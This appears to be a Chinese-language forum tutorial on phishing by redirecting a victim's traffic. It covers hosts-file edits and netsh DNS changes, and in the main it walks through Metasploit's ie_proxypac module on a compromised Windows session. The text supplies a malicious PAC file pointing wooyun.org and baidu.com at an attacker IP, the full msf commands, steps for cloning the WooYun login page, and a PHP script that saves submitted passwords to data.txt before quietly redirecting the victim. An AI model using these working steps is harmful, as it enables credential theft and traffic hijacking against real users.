攻擊者進行網絡釣魚的方式常有以下幾種:
1. 通過修改受害者hosts文件(C:\WINDOWS\system32\drivers\etc\hosts
)來實現;
2. 通過修改受害者dns來實現;
3. 已經進入路由器,直接修改路由器的DNS。
羅列的并不全,之后遇到的話再補充,上述三種方式很常見。
修改HOSTS文件,即攻擊者修改受害者HOSTS文件為如下形式:
127.0.0.1 localhost x.x.x.x www.wooyun.com
這樣就受害者訪問www.wooyun.com會直接訪問到x.x.x.x。在msf中可以使用inject_host腳本來實現。
修改dns進行攻擊:
攻擊者可是使用如下命令修改受害者的dns地址(管理員身份執行
):
C:\Windows\system32>netsh interface ip show interfaces
Idx Met MTU 狀態 名稱
--- --- ----- ----------- -------------------
1 50 4294967295 connected Loopback Pseudo-Interface 1
10 10 1500 connected 本地連接
C:\Windows\system32>netsh interface ip set dns "本地連接" static 192.168.1.100
C:\Windows\system32>ipconfig /all | findstr 192.168.1.100
DNS 服務器 . . . . . . . . . . . : 192.168.1.100
這樣就修改了受害者的DNS地址,之后可以使用msf的 fakedns來架設dns服務器來修改域名的解析地址。
除了直接修改路由器的DNS地址的以上兩種方式在某些環境下還是有一些缺點的,例如,一些牛逼的AV會檢測到文件的修改而發出報警,除此之外,如果受害者所處內網環境中的防火墻或路由器攔截對外部的DNS請求,修改受害者DNS的攻擊方式并不能生效(因為攻擊者架設的DNS在外網環境下)。
本文主要介紹的是Metasploit中的一個模塊ie_proxypac。通過.PAC(自動配置代理)文件來完全控制IE的用戶流量。只需要修改PAC文件,攻擊者就能使受害者訪問的某個域名指向攻擊者的IP。雖然沒有修改DNS但是可以達到同樣的效果,且這種方式較為隱蔽。已經有很多人使用這種方式進行網絡釣魚。
下面是一個PAC文件示例:
function FindProxyForURL(url, host)
{
if (shExpMatch(host, "www.wooyun.org")) {
return "PROXY 192.168.52.129:80; DIRECT";
}
if (shExpMatch(host, "www.baidu.com")) {
return "PROXY 192.168.52.129:80; DIRECT";
}
}
這個文件的配置是當受害者訪問www.wooyun.com以及www.baidu.com時,他會直接請求到攻擊者ip( 192.168.52.129)。
詳細的PAC編寫請查看http://findproxyforurl.com/pac-functions/。
將以上腳本保存為test.pac,在獲取meterpreter會話的基礎上使用ie_proxypac腳本:
#!bash
meterpreter > background
[*] Backgrounding session 1...
msf > use post/windows/manage/ie_proxypac
msf post(ie_proxypac) > set session 1
session => 1
msf post(ie_proxypac) > set REMOTE_PAC http://192.168.52.129/test.pac
REMOTE_PAC => http://192.168.52.129/test.pac
msf post(ie_proxypac) > show options
Module options (post/windows/manage/ie_proxypac):
Name Current Setting Required Description
---- --------------- -------- -----------
AUTO_DETECT false yes Automatically detect settings.
DISABLE_PROXY false yes Disable the proxy server.
LOCAL_PAC no Local PAC file.
REMOTE_PAC http://192.168.52.129/test.pac no Remote PAC file. (Ex: http://192.168.1.20/proxy.pac)
SESSION 1 yes The session to run this module on.
msf post(ie_proxypac) > exploit
[*] Setting automatic configuration script from local PAC file ...
[+] Automatic configuration script configured...
[*] Post module execution completed
之后打開ie,internet選項->連接->局域網設置:
可以看到pac已經使用pac文件進行了代理。
代理盡量使用遠程代理,因為IE11默認禁止本地代理,如果使用本地代理,代理是無效的。詳情測試發現,如果連接了vpn,pac代理是失效的。
現在再訪問www.baidu.com
,www.wooyun.org
,會看到已經轉移到了我們制定的ip:
這里我們修改pac文件如下:
function FindProxyForURL(url, host)
{
if (shExpMatch(host, "www.wooyun.org")) {
return "PROXY 192.168.52.129:80; DIRECT";
}
}
這里ip要改成自己的web的ip,如果受害者請求的網站host為 www.wooyun.org
時,滿足規則,然后跳轉到我們指定的ip地址,這里我們可以來構造釣魚。
打開wooyun,右鍵查看源代碼,將所有源代碼保存為index.html,放在網站根目錄下,因為當受害者請求 http://wooyun.org
,其host為 wooyun.org
不滿足代理條件,就會直接請求,所以我們把源代碼中的www.wooyun.org
,改為wooyun.org
:
然后找到url,src,href標簽,修改為http://wooyun.org/xxxx 的形式,比如
#!html
<link href="/css/style.css?v=201501291909" rel="stylesheet" type="text/css"/>
修改為
#!html
<link rel="stylesheet" type="text/css"/>
改完以后,基本上就算克隆成功了:
下來要把登陸頁面的的源碼復制過來,打開http://www.wooyun.org/user.php?action=login
,右鍵復制源碼,保存為user.php,放在網站根目錄下,修改源碼中的url,src,href。修改完之后,打開index.html文件,定位登錄
,修改href為 user.php?action=login
,修改以后此標簽為:
#!html
<a href="user.php?action=login">登錄</a> | <a class="reg">注冊</a>
打開user.php,定位用戶登錄
表單,修改表單action為post.php:
#!html
<a href="#">用戶登錄</a></div>
</div>
<form action="post.php" method="POST">
.....
在網站根目錄新建post.php,添加如下代碼:
#!php
<?php $file = 'data.txt';file_put_contents($file, print_r($_POST, true), FILE_APPEND);?><meta http-equiv="refresh" content="0; url=http://wooyun.org/user.php?action=login" />
這樣釣魚站就搭建好了。
當用戶登錄時:
點擊登陸以后會跳轉到http://wooyun.org/user.php?action=login
查看data.txt:
只是簡單地一個示例,具體可以通過修改pac文件來實現控制瀏覽器是否進行代理。
此種方式進行網絡釣魚,做的細致的話,很難被發現,而且隱蔽性好,缺點就是連接vpn以后代理將會失效。以上是個人的測試結果,請各位大牛指正。